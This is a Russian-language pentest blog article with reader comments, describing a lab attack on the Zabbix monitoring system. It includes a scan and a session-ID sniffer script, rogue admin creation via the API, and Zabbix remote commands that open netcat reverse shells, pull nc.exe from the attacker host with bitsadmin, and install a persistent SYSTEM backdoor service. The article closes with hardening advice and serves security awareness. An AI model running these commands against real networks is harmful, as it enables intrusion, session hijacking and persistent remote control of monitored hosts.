Система мониторинга как точка проникновения на компьютеры предприятия

    Это продолжение памятки про систему мониторинга Zabbix, опубликованной недавно в нашем блоге. Выражаем огромную благодарность пользователю Shodin, который внес значительный вклад в исследование и написал данную статью.

    Системы мониторинга — это очень практичный компонент для управления сетевой структурой предприятия. Они позволяют видеть изменения, которые происходят с устройствами практически в реальном времени. А с ростом количества устройств в сети роль решения, которое способно централизованно управлять устройствами, многократно возрастает.

    В самом простом случае хочется видеть доступность компьютеров, мониторинг работы устройств (например, свитчей по ipmi), видеть изменения в конфигурации оборудования и отправлять об этом оповещения.

    Система мониторинга может многое. Но что, если злоумышленник попытается использовать ее возможности в своих целях? Может ли злоумышленник, благодаря возможностям Zabbix, осуществить атаки на хосты, мониторинг которых осуществляется при помощи Zabbix?
    Страшно? Под катом рассмотрим, что может злоумышленник, имея доступ к системе мониторинга Zabbix, безопасности и конфигурации, которой уделено недостаточное внимание.

    Для исследования я собрал простую тестовую среду на виртуальных машинах с использованием VirtualBox:

    • Zabbix server – он будет осуществлять мониторинг компьютера.
    • ПК – тот компьютер, который мониторится сервером Zabbix.
    • Hacker – виртуалка злоумышлениика.
    • ОС Хоста – я с нее захожу как администратор на сервер Zabbix.


    Схема модели
    Краткий обзор работы Zabbix.
    На каждый клиентский ПК устанавливается Zabbix-агент, который будет обмениваться данными с Zabbix-сервером.

    В Zabbix-сервере настраивается мониторинг ПК, в рамках мониторинга сервер ищет на ПК установленный агент и получает от него информацию.

    Поиск и получение информации от агента

    Поиск и получение информации от агента

    По умолчанию для обмена информацией между Zabbix-агентом и Zabbix-сервером используются следующие TCP-порты: на стороне клиента настраивается (и прослушивается) порт 10051 а на стороне сервера настраивается (и прослушивается) порт 10050.

    Прослушивание порта
    На сервере настраивается периодичность опроса клиентов на предмет изменений в данных, которые сервер получает от агента. Настройка интервала обнаружения задается в меню Configuration — Discovery web-интерфейса Zabbix. Далее создается новое правило обнаружений (англ. Discovery Rule). В настройках параметров указывается параметр Delay, который отвечает за периодичность опроса клиентов сервером. По умолчанию этот интервал равен 3600с, менее 5с интервал опроса не устанавливается.

    Заданое правило обнаружений

    На каждом клиенте устанавливается Zabbix-агент, настройки которого задаются в конфигурационном файле. Более подробно о работе агента можно узнать здесь.

    В модели для мониторинга ПК в конфиге агента были заданы следующие опции:

    • Server – адрес сервера (в модели — 192.168.56.102).
    • ServerActive – адрес сервера для активных проверок (чаще всего совпадает с адресом сервера).
    • Hostname – имя хоста. Отсылается агентом на сервер, который пересылает список активных проверок для хоста с указанным именем. Должно совпадать с тем именем, которое указано для хоста в web-интерфейсе Zabbix-сервера.
    • EnableRemoteCommands=1 – разрешает запуск команд, которые сервер передает агенту. Запускать команды будет агент.
    • Timeout=30 – время, за которое должен произойти обмен данными между клиентом и сервером, по умолчанию опция закомментирована, а её значение равно 3с. Я поставлю 30с и посмотрим, достаточно ли этого для злоумышленника?

    Возможный сценарий действий злоумышленника


    Для упрощения моделирования рассмотрим типичную ситуацию, при которой злоумышленник и Zabbix-сервер находятся в одной подсети. Zabbix-сервер в сети чаще всего настроен таким образом, чтобы он осуществлял мониторинг ПК и выполнял там запуск удаленных команд.
    Насколько такая ситуация правдоподобна – сказать сложно. Из личного опыта использования Zabbix-сервера отмечу, что одной из целей внедрения Zabbix в сети, которую я когда-то админил, помимо всего прочего, был запуск удаленных команд на компьютерах сети.

    Что надо сделать злоумышленнику:

    1. Обнаружить в сети Zabbix-сервер.
    2. Получить доступ к фронтенду Zabbix-сервера.
    3. Получить доступ к компьютерам и закрепиться в системе.

    Далее рассмотрим, как злоумышленник решит указанные задачи.

    Обнаружение в сети работающего Zabbix-сервера


    Для начала злоумышленник определяет, развернут ли в сети сервер Zabbix. Самый очевидный способ определить работающий Zabbix-сервер– это просканировать все сетевые ресурсы сети на предмет наличия на них открытых портов Zabbix-сервера и Zabbix-агента; обычно порт Zabbix-сервера по умолчанию – 10051 а агента – 10050.

    Сканирование лучше выполнить сразу по обоим портам, команда:

    Nmap –sS –p 10050,10051 192.168.56.0/24

    Результат работы команды

    Видно, что оба порта на узле с адресом 192.168.56.102 открыты. Скорее всего, это и есть сервер. Но это не точно :) Попробуем выяснить наверняка.

    Используем для проверки адреса сервера команду curl, с ее помощью отправим такой json запрос на адрес 192.168.56.102/zabbix/api_jsonrpc.php:

    {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}

    Пароль злоумышленнику неизвестен, но этим запросом он пробует подключиться к серверу и указывает при этом некорректные данные. Идея такая – если сервер развернут по выбранному адресу, то вернется ошибка некорректного логина и пароля, а если сервера по указанному адресу нет, то ответы не вернутся вообще, или вернется строка «connection timeout»:

    curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php
    
    HTTP/1.1 200 OK
    Date: Fri, 02 Feb 2018 08:06:52 GMT
    Server: Apache/2.4.10 (Debian)
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Methods: POST
    Access-Control-Max-Age: 1000
    Content-Length: 159
    Content-Type: application/json

    {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}

    Сервер запрос отпарсил, значит по проверяемому адресу развернут Zabbix-сервер.
    Для сравнения посмотрим, что будет, если отправить аналогичный запрос на адрес другого найденного ПК (на котором Zabbix-сервер не развернут):
    curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.110/zabbix/api_jsonrpc.php
    
    curl: (7) Failed to connect to 192.168.56.110 port 80: Connection refused

    Весь процесс можно наглядно увидеть здесь.
    Теперь попробуем определить версию Zabbix-сервера. Не зная логина и пароля, это можно сделать, отпарсив исходный код страницы 192.168.56.102/zabbix/index.php. В исходном коде этой страницы прописана ссылка на документацию с указанием версии Zabbix.

    Версия Zabbix-сервера, обнаруженная в исходном коде страницы

    Из рисунка видно, что версия сервера 3.2.

    Для автоматизации определения версии был написан простой скрипт, который получает эту информацию со страницы авторизации Zabbix-сервера:

    """
    This script is for testing zabbix version
    by version of the docs on the logon page
    """
    
    import urllib2
    import re
    from bs4 import BeautifulSoup
    
    zab_page='http://192.168.56.102/zabbix/index.php'
    page=urllib2.urlopen(zab_page)
    soup = BeautifulSoup(page, 'html.parser')
    for link in soup.findAll('a', attrs={'href': re.compile("documentation")}):
        version=link.get('href')
    
    parts=re.split('/', version)
    
    a=''.join (parts[4:5])
    print "zabbix version is",a

    Результат работы скрипта

    С процессом парсинга версии Zabbix-сервера можно ознакомиться тут.

    Вывод – у злоумышленника достаточно способов определения наличия в сети работающего сервера Zabbix.

    Далее рассмотрим, как можно получить доступ к этому серверу.

    Получение доступа к фронтенду Zabbix-сервера. Часть первая, обзорная


    Что даст злоумышленнику перехват траффика между Zabbix-сервером и агентом?
    Трафик между агентом и сервером (если в конфиге агента не настроить шифрование передаваемых данных) передается в незашифрованном виде, в пакетах TCP с флагом PSH.

    Трафик в незашифрованном виде

    Такой трафик можно перехватывать и анализировать, но это ничего не даст для получения доступа к фронтенду.

    Однако Zabbix написан на PHP, а Zabbix API реализуются на основе web и поставляются как часть web-интерфейса. Используется протокол JSON-RPC 2.0. Для использования большинства возможностей Zabbix достаточно отправлять HTTP POST-запросы к файлу api_jsonrpc.php, который расположен в папке с web-интерфейсом.

    Это означает, что при авторизации пользователя в системе (например, при заходе администратора в web-интерфейс Zabbix) выполняется запрос/ответ в формате JSON. При этом для каждого пользователя генерируется т.н. zbx_sessionid, который используется в POST-запросах json к серверу Zabbix. Более подробно про реализацию API можно прочитать тут.

    Как происходит аутентификация пользователей? Первым делом надо получить т.н. ключ аутентификации, для этого нужно отправить на сервер логин и пароль пользователя, и если данные были указаны правильно, то вернется ключ аутентификации.

    Процесс передачи zbx_sessionid происходит и в случае авторизации пользователя через web-интерфейс фронтенда при вводе логина и пароля этого пользователя.

    Рассмотрим пример получения значения zbx_sessionid для пользователя Admin с паролем zabbix с использованием API. Нужно отправить такую строку:

    {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}

    Если лень разбираться – то есть вот такой сервис, как раз для тех, кто предпочитает строку json в структурированном виде.

    Используем для отправки составленного запроса команду curl:

    curl -i -X POST -H 'Content-type:application/json' -d ' {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php

    В ответ получаем:

    {jsonrpc:2.0,result:d2a72e967fa86307a6ab9b896d8c95b9,id:1}

    d2a72e967fa86307a6ab9b896d8c95b9 – это и есть значение zbx_sessionid для пользователя Admin с паролем zabbix. Получив zbx_sessionid пользователя, можно использовать его для запроса данных:

    {"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"}

    Подставим в команду curl:

    curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"}
    ' http://192.168.56.102/zabbix/api_jsonrpc.php

    Получаем такой результат:

    {"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix_server","interfaces":[{"interfaceid":"1","ip":"127.0.0.1"}]},{"hostid":"10105","host":"windows host","interfaces":[{"interfaceid":"2","ip":"192.168.56.1"}]},{"hostid":"10106","host":"Windows host","interfaces":[{"interfaceid":"3","ip":"192.168.56.110"}]}],"id":2}

    Весь процесс можно посмотреть тут.

    Само значение zbx_sessionid «солится» меткой времени, что почти исключает его подделку, но передается оно в поле zbx_sessionid в POST-запросе в открытом виде!

    В случае перехвата трафика администратора, когда он авторизуется в системе, злоумышленник может получить zbx_sessionid администратора и использовать полученное значение для развития атаки. Это возможно, т.к. смена zbx_sessionid происходит только тогда, когда пользователь выходит из системы. А пока он в системе, zbx_sessionid периодически пересылается при каждом действии пользователя.

    Можно ли повторно использовать перехваченный zbx_sessionid? Да, можно, пока пользователь залогинен в системе. Для этого его просто достаточно подставить в запрос json, который затем надо отправить на сервер.

    Вывод – именно zbx_sessionid и будет очевидной целью злоумышленника при перехвате траффика.

    Получение доступа к фронтенду Zabbix-сервера. Часть вторая, практическая


    Для получения значения админского zbx_sessionid злоумышленнику достаточно прослушать трафик в сети между сервером Zabbix и компьютером админа.

    Самый простой вариант — старый добрый ARP spoofing.

    В принципе, неважно, с помощью чего ARP spoofing реализуется – результат будет получен в любом случае. Для данного исследования использовался пакет scapy для python, очень полезная утилита для работы с сетевыми пакетами.

    Для «отлова» zbx_sessionid был написан такой скрипт, который открывает сокет, прослушивает траффик, и отлавливает в пересылаемых данных значение zbx_sessionid:

    import socket
    import re
    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
    print ("trying to catch zbx_sessionid")
    k = ''
    while True:
        data = s.recvfrom(65565)
        try:
            if "HTTP" in data[0][54:]:
                raw = data[0][54:]
                if "\r\n\r\n" in raw:
                    line = raw.split('\r\n\r\n')[0]
                    print "[*] Header Captured "
                    value = line
                    m = re.search("(zbx_sessionid.*)", value)
                    if m:
                        str = m.group(0)
                        k = re.split(r'\W+', str)
                        print ("session_id is :")
                        print (k[1])
                        ####Saving founded zbx_sessionid in file
                        saved_zbxssids = open('zbx_sessionids.txt','a')
                        saved_zbxssids.write('\n')
                        saved_zbxssids.write(k[1]) 
                        saved_zbxssids.write('\n')
                        saved_zbxssids.close()
                        print ("zabbix session id saved in file zbx_sessionids.txt")
                    else:
                        pass
                else:
                    pass
        except KeyboardInterrupt:
            s.close()

    Значения сохраняются в файл zbx_sessionids.txt

    Алгоритм атаки такой:

    1. В kali разрешаем форвардинг пакетов командой:
      # sysctl –w net.ipv4.ip_forward=1
    2. Запускаем утилиту ARP spoofing’a:

      Результат работы команды

      В данной команде:

      • 192.168.56.1 – адрес роутера
      • 192.168.56.102 – адрес сервера Zabbix
    3. Запускаем написанный скрипт перехвата http-заголовков такой командой:
      # python zabbix_zbxsessionid_sniffer.py
    4. Ждем, когда пользователь попробует подключиться к админской панели сервера Zabbix. И видим нужный нам zbx_sessionid: Результат работы скрипта

    Далее проверим, позволит ли перехваченный zbx_sessionid получить информацию с сервера. Для этого пробуем получить список всех пользователей в Zabbix с использованием такого запроса:

    {"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}

    Подставляем в curl:

    curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}' http://192.168.56.102/zabbix/api_jsonrpc.php


    Результат успешный:
    {"jsonrpc":"2.0","result":[{"userid":"1","alias":"Admin","name":"Zabbix","surname":"Administrator","url":"","autologin":"1","autologout":"0","lang":"en_GB","refresh":"30","type":"3","theme":"default","attempt_failed":"0","attempt_ip":"192.168.56.100","attempt_clock":"1517561631","rows_per_page":"50"},{"userid":"2","alias":"guest","name":"","surname":"","url":"","autologin":"0","autologout":"900","lang":"en_GB","refresh":"30","type":"1","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50"}],"id":1}

    Весь процесс можно посмотреть тут.

    Вывод рекомендуется структурировать, например, используя такой сервис.

    Видно всех пользователей (и гостя тоже), их имена и псевдонимы, IP-адреса, с которых пользователи заходят, и прочую интересную информацию, которая доступна только администратору Zabbix. Теперь, когда у злоумышленника есть zbx_sessionid админа (мораль – не сиди под админом!) он может попробовать закрепиться в системе.

    Для начала можно создать себе нового пользователя с админскими правами, чтобы не зависеть от перехваченного zbx_sessionid. Для этого можно использовать такой сценарий:

    import json
    import requests
    from pyzabbix import ZabbixAPI
    #api_address="http://192.168.56.102/zabbix/api_jsonrpc.php"
    api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
    zbx_sessionid= raw_input("enter zbx_sessionid: \n")
    user= raw_input("enter username: \n")
    password= raw_input("enter password: \n")
    url = api_address
    headers = {'Content-type': 'application/json'}
    data = {"jsonrpc": "2.0", "method": "user.create", "params": {
        "alias": user, "passwd": password, "type": "3", "usrgrps": [
            {"usrgrpid": "7"}], },
            "auth": zbx_sessionid,
            "id": 1
            }
    answer = requests.post(url, data=json.dumps(data), headers=headers)
    print(answer)
    response = answer.json()
    print(response)
    ###Using pyzabbix to connect whith created user creds
    print ("testing user parameters:")
    zapi = ZabbixAPI(api_address)
    zapi.login(user, password)
    print("Connected to Zabbix API Version %s" % zapi.api_version())

    Результат успешный.

    Результат работы сценария

    В интерфейсе видно созданного пользователя

    Вывод – при перехвате zbx_sessionid администратора Zabbix у злоумышленника появляются те же возможности, что и у администратора Zabbix.

    Сам процесс можно посмотреть тут.
    По большому счету, на этом можно и остановиться – система скомпрометирована. Но что будет, если развить атаку? Можно ли расширить зону атаки? Какие последствия будут для тех компонентов, которые мониторятся в Zabbix?

    Получение доступа к компьютерам и закрепление в системе


    Теперь, когда злоумышленник создал своего пользователя с правами администратора в Zabbix, можно попробовать проникнуть на те ПК, которые Zabbix мониторит.

    В Zabbix есть такая возможность как запуск удаленных команд. Данная возможность, повторимся, работает следующим образом:

    • в конфиге агента указывается параметр EnableRemoteCommands = 1.
    • сервер отсылает команду агенту, он ее выполняет и возвращает серверу результат.

    Длинна команды ограничена 255 символами. Timeout команды — максимум 30 секунд, причем технология позволяет выполнять любые команды.

    Идея заключается в том, чтобы создать на мониторящемся ПК задачу, которая запустит на нем команду наподобие такой: «C:\Users\Public\nc.exe –dLp 6666 -e cmd.exe». Далее к созданному шеллу можно попробовать подключиться.

    Команда будет выполнена с теми правами, которыми обладает Zabbix-агент в системе. Однако, из-за особенностей реализации механизма удаленных команд, устойчивый шелл злоумышленник провесить одной задачей типа system.run[«C:\Users\Public\nc.exe -dLp 6666 -e cmd.exe»] не сможет – он оборвется из-за особенностей Zabbix (важно значение опции timeout в конфиге агента).

    Исходя из вышесказанного, сценарий действий злоумышленника будет следующий:

    1. Перехватить zbx_sessionid. Далее создать себе нового пользователя с правами администратора (чтобы не зависеть от перехваченного zbx_sessionid). Это уже сделано.
    2. Создать для каждого найденного на сервере ПК задачу, которую будет выполнять агент. В задачу включить запуск шелла, и с его помощью залить на ПК жертвы шелл (или запустить имеющиюся утилиту типа netcat).
    3. Подключиться к созданному задачей Zabbix шеллу и создать еще один, который не будет обрываться из-за особенностей Zabbix.

    Так как пользователя в Zabbix злоумышленник уже создал, то можно использовать параметры созданного пользователя и реализацию API Zabbix на Python (пакет pyzabbix), чтобы не заморачиваться с json и curl. Для начала нужно определить, какие компьютеры мониторятся Zabbix-ом:

    from pyzabbix import ZabbixAPI
    api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
    zbx_sessionid= raw_input("enter zbx_sessionid: \n")
    user= raw_input("enter username: \n")
    password= raw_input("enter password: \n")
    zapi = ZabbixAPI(api_address)
    zapi.login(user, password)
    print("Connected to Zabbix API Version %s" % zapi.api_version())
    for h in zapi.host.get(output="extend"):
        hostid=h['hostid']
        host=h['host']
        print ("found host: ",host,"hostid: ",hostid)  

    Результат работы скрипта

    Теперь, зная имя хоста, можно поставить ему задачу запуска шелла на удаленном ПК. Сначала провесим шелл на Zabbix-сервер. Для демонстрации используется netcat, который в Linux, как правило, предустановлен. Был использован этот, немного модифицированный, пример.

    from pyzabbix import ZabbixAPI, ZabbixAPIException
    import sys
    api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
    user= raw_input("enter username: \n")
    password= raw_input("enter password: \n")
    hostname=raw_input("enter hostname: \n")
    # hostid=raw_input("enter hostid: \n")
    zapi = ZabbixAPI(api_address)
    # Login to the Zabbix API
    zapi.login(user, password)
    host_name = hostname
    hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
    if hosts:
        host_id = hosts[0]["hostid"]
        print("Found host id {0}".format(host_id))
        try:
            item = zapi.item.create(
                hostid=host_id,
                name='netcat_create_reverse_shell',
                key_='system.run["nc 192.168.56.100 4444 -e /bin/bash"]',
                type=0,
                value_type=4,
                interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
                delay=5
            )
        except ZabbixAPIException as e:
            print(e)
            sys.exit()
        print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
    else:
        print("No hosts found")


    Результат работы скрипта


    Как это выглядит в web-интерфейсе


    Результат подключения к созданному шеллу

    В итоге был получен шелл с правами того пользователя, который запускает Zabbix-агента.
    Но этот шелл не является постоянным, поэтому нужно попытаться создать на его основе новый шелл, который уже не будет зависеть от параметров Zabbix. Сделать это можно разными способами, один из которых – создать сценарий, который запустится в определенное время (командой at, например).

    Сам процесс можно посмотреть тут.

    Однако самый интересный способ будет рассмотрен для Windows, потому что по умолчанию в Windows Zabbix-агент устанавливается и запускается как служба с правами System.


    Права Zabbix-агента

    С учетом этого, любое приложение, запущенное агентом, будет также запущено с правами System. Вектор атаки при этом несколько усложнится:

    1. Запускаем прослушку порта в kali:

      # nc -lvvnp 5555
    2. Создаем при помощи Zabbix задачу, которая загрузит на компьютер жертвы утилиту для шелла (будем использовать netcat для Windows) с компьютера злоумышленника (при помощи bitsadmin, для скачивания придется настроить Apache в Kali — и не забыть его запустить!):

    from pyzabbix import ZabbixAPI, ZabbixAPIException
    import sys
    api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
    user= raw_input("enter username: \n")
    password= raw_input("enter password: \n")
    host_name=raw_input("enter hostname: \n")
    # hostid=raw_input("enter hostid: \n")
    zapi = ZabbixAPI(api_address) # user='Admin', password='zabbix')
    # Login to the Zabbix API
    zapi.login(user, password)
    # host_name = 'Zabbix_server'
    # host_name = "windows host"
    hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
    if hosts:
        host_id = hosts[0]["hostid"]
        print("Found host id {0}".format(host_id))
        try:
            item = zapi.item.create(
                hostid=host_id,
                name='netcat_create_reverse_shell',
                key_='system.run["bitsadmin.exe /transfer /download http://192.168.56.100/nc.exe C:\\Temp\\nc.exe && C:\Temp\\nc.exe 192.168.56.100 5555 -e cmd.exe"]',
                type=0,
                value_type=4,
                interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
                delay=30
            )
        except ZabbixAPIException as e:
            print(e)
            sys.exit()
        print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
    else:
        print("No hosts found")


    Результат работы скрипта


    Реакция Zabbix


    Проверка шелла

    Шелл получен с параметрами System, однако он будет периодически обрываться. Это связано с параметром Timeout, который по умолчанию в конфиге агента не определен и составляет 3с. За это время сложная команда просто не успеет выполнится. Поэтому параметр Timeout был принят за 30с, о чем было предупреждено в начале статьи.

    В принципе, злоумышленник сам может добавить значение опции Timeout=30 (по умолчанию опция Timeout закомментирована), просто дописав строку Timeout=30 в конец файла zabbix_agentd.conf. Агент запущен как служба – следовательно, файл он менять может, достаточно прописать ему на сервере соответствующую задачу. Например добавить item, который будет с помощью удаленных команд дописывать нужные строки в конец конфигурационного файла.

    Теперь нужно попытаться создать постоянный шелл, для чего создадим службу (права позволяют), которая тоже будет поднимать туннель с помощью nc. Сформируем команду для создания службы, сохраним ее в файл, а затем перенаправим его на вход nc (файл service.txt):

    sc create reversencbackdoor binpath= "cmd /C C:\Users\Public\nc.exe 192.168.56.100 6666 -e cmd.exe" type= own start= auto DisplayName= "NC service backdoor"

    Для управления службой используем аналогичный подход, изменив некоторые команды (файл service_run.txt):

    • sc query reversencbackdoor
    • sc stop reversencbackdoor
    • sc start reversencbackdoor


    Результат — успешное создание службы

    Попытаемся подключиться к созданной службе: включаем прослушивание на порту 6666 и запускаем службу, без этого она стартует и сразу завершает свою работу.


    Включение прослушивания


    В другом окне отправляем службе команду на запуск

    По порту 5555 программа nc запущена Zabbix-агентом, следовательно, шелл обрывается, как и отмечено выше, из-за особенностей таймаута выполнения команд агентом. А служба стартует с параметрами System — и шелл не обрывается.


    Безобрывный шелл

    Сам процесс можно посмотреть тут.

    Какие можно сделать выводы из всего вышеописанного ?


    1. При определенных настройках злоумышленник может перехватить zbx_sessionid и закрепиться в системе Zabbix.
    2. Используя особенности работы Zabbix-агента, злоумышленник (при определенных настройках агента) может проникнуть на все ПК, которые мониторятся Zabbix-сервером.

    Как всегда, ноги большинства угроз безопасности растут из ошибок конфигурации, а система мониторинга является таким компонентом, неправильная (с точки зрения безопасности) конфигурация которого может критически повлиять на безопасность всех компонентов сети.
    Поэтому стоит озаботиться защитой передаваемых данных.

    Вот несколько рекомендаций по настройке сервера Zabbix:

    • Усложните жизнь злоумышленнику — не используйте стандартные порты для работы Zabbix-сервера.
    • Удалите с сервера утилиты, которые позволят злоумышленнику быстро пробросить туннель. Вообще надо обязательно очищать сервер от лишних утилит, которые может использовать злоумышленник.
    • Разделите привилегии учетных записей пользователей в Zabbix. Отключите неиспользуемые учетные записи на Zabbix-сервере (guest надо выключить в первую очередь); по возможности, сделайте отдельную учетку для мониторинга параметров и отдельную — для администрирования, не забывайте переодически менять пароль у учетных записей и закрывать админскую сессию после работы в web-интерфейсе (сбрасывается zbx_sessionid).
    • Настройте аудит событий в Zabbix-сервере, чтобы фиксировать и отслеживать события безопасности, про настройки можно прочитать тут.
    • По возможности, изолируйте Zabbix-сервер от тех компонентов, которые злоумышленник может использовать в качестве точки входа в корпоративную сеть. Например, вынести сервер Zabbix в DMZ и настроить Zabbix proxy для пересылки на него информации. Подробнее про Zabbix proxy можно почитать тут.
    • Настройте отправку оповещения о критических событиях, для этого в Zabbix есть достаточно широкие возможности

    Безопасность агента Zabbix также требует пристального внимания:

    • Усложните жизнь злоумышленнику, не используйте стандартные порты для работы Zabbix-агента.
    • На Windows агент Zabbix запускается как служба, лучше сделать для нее отдельного пользователя. Иначе служба будет запущена с параметрами системной учетной записи.
    • Задумайтесь, а так ли Вам нужен запуск удаленных команд с помощью Zabbix? Если нет — то отключите эту возможность.
    • Настройте шифрование данных в конфиге агента.

    Настройка безопасного доступа и повышение безопасности в Zabbix – это тема отдельной статьи (а возможно и не одной), будет время — обязательно об этом напишу.

    P.S. Огромное спасибо sabotaged за помощь в подготовке статьи!
    Digital Security 115,83
    Безопасность как искусство
    Поделиться публикацией
    Комментарии 13
      +3

      Я уже проник в сеть предприятия, попал во влан с такчкой админа, проспуфил и перехватил трафик админа, да так что ни одна система мониторинга, ids/ips не всколыхнулась. Но самое уязвимое местотна предприятии это конечно же zabbix.

        +3
        Нету главного совета: использовать «https»
          +2

          Слишком много «если». Не стоит пренебрегать базовыми шагами по обеспечению безопасности. Используйте HTPPS (скоро каждый сайт в интернете будет его использовать). Отключайте выполнение удаленных команд, если оно вам не нужно (оно так и есть в конфигурации по умолчанию). Не используйте привилегированного пользователя для запуска агента.
          Также Zabbix давно поддерживает шифрование данных между агентом/сервером/прокси.


          Я встречал системы с куда бОльшими проблемами: агент запускается от root (ибо многие проверки просторней заработают), данные передаются в незашифрованном текстовом виде...

            0
            В случае, если агент работает из под рута в ситуации, описанной в посте — это не проблема. Почему?
            Тот способ, которым реализуется получение доступа (сниффить) реализуется при:
            1) полном доступе к сетевому оборудованию, поскольку бродкастами сообщения давным давно не рассылаются — значит есть доступ к управлению и/или к оборудованию непосредственно.
            2) наличии админских/рут прав — поскольку чтобы сниффингом нормально заниматься нужно в promiscuous mode уйти, а это, в любом случае, уже наличие на машине-жертве или подконтрольного злоумышленнику софта с админ/рут правами, либо наличие доступа с учётки с админ/рут правами. Агент заббикса под рутом тут уже роли не играет. Только если эта конкретная машина-жертва не является звеном в более сложной цепочке атаки с использованием заббикса. Но даже в таком случае слишком много вопросов. Если это целая инфраструктура и злоумышленник может получать админ/рут права, то, с немалой долей вероятности, он может проделать то же самое с другими целями того же типа.
            Уважаемый bykvaadm выше всё достаточно кратко и полно описал.
            0
            например, свитчей по ipmi
            С каких пор в свитчах появился ipmi? Судя по статье это не опечатка, а некомпетентность.

            Первое, что надо включить на фронтенде заббикса, это HTTPS, как в комментариях тут написали, и если не можете какой нибудь let's encrypt заюзать, самоподписанного сертификата тоже будет достаточно.

            Менять стандартные порты это глупость, никогда так не делайте без чёткого понимания зачем оно вам надо. Последующая поддержка этого добра сведёт на нет заботу о безопасности.

            Включать удалённое выполнение команд надо ТОЛЬКО после настройки шифрования между агентом и сервером\прокси.
            ВСЕГДА ВКЛЮЧАЙТЕ ШИФРОВАНИЕ МЕЖДУ ЗАББИКС СЕРВЕРОМ И ЗАББИКС ПРОКСИ! Подделать отправку данных на прокси чтобы он задосил вас никаких проблем не вызывает, даже этой статьи будет достаточно.

            И главный вопрос, где блин ваш фаервол, если кто то может открыть слушать любой порт? На винде если вам надо мониторить пару машин, можно и рискнуть оставить агент как есть из коробки. Но если у вас огромное количество виндовых машин, соберите свой msi пакет с установкой службы и её настройкой, чтобы работало не от системного юзера.

            Вся статья уровня скрипт-киди, от таких потуг даже не зачешется.
              +1
              Вы совершенно не поняли о чем эта статья.
              Здесь речь не про то, как нужно заббикс настроить, а про кейсы из реальной жизни, которые встречаются при пентестах. Она о том что цепочка ошибок в конфигурации может привести к довольно печальным последствиям. Например, получение rce на тех хостах, куда по другому доступ не получить, ибо все дырки закрыты и обновления установлены. Зачастую системы мониторинга стоят нетронутыми лет по 5, с тех времен, когда о шифровании трафика внутри сети не особо задумывались.
              По поводу Ваших претензий, я бы не сказал что ни довольно объективные. Зачем комуто включать выполнение комманд через заббикс, что за маразм? При этом такое встречается. Фаервол между сегментами сети? Отличная идея! Но несмотря на то что ей уже 100 лет в обед, по прежнему попадаются абсолютно «плоские» сети. В интернете тысячи статей, как сделать все безопасно. Другое вопрос в том что все уверены в «безобидности» систем мониторинга, и совершенно не обращают на них внимания, когда задумываются о безопасности.
                0
                Я не так давно начал разбирать популярные шаблоны заббикса для ухода от кастомных скриптов мониторинга(userparametr'ов) на хостах. С появлением препроцессинга в заббиксе 90% всех задач может выполнятся благодаря удалённому выполнению команд и последующим препроцессингом(обработкой регулярками, или выдёргивание из xml или json) данных на стороне сервера. Не думаю что это маразм, когда мониторинг достаточно настроить только на самом сервере мониторинга и к хостам только обращаться для забора данных. Это конечно только описание цели, а не текущей реальности, но почему нет?
              0

              По опыту, даже с настроенным https Заббикс может ходить в Active Directory по незащищенному порту, пересылая пароль plaintext. И часто многим лень настраивать хождение по защищенному. Поэтому можно посниферить и подождать когда кто-нибудь из админов залогинится.
              Далее — если включен remote-command и уровень привилегий у пользователя от которого запущен сервис высокий (что часто делается для автоматизации очистки диска/перезапуска сервисов и прочего) — то доступ получаем хороший.


              Это более реальный кейс, чем видеть Заббикс без https :)

                0
                Таким людям надо линейкой по рукам бить сразу. Настройка шифрованного подключения дело всего нескольких кликов.
                0
                Буду благодарен за инструкцию о том, как запустить Zabbix Agent на Windows не под Local System и чтобы при этом работали хотя бы базовые проверки плюс performance counters.
                  0
                  Поддержку все комментарии на общую тематику «слишком много если». Zabbix без https — если честно, по моему субъективному мнению, встречается уже крайне редко, а если и встречается — то это всего лишь говорит о лени администратора или халатности интегратора.
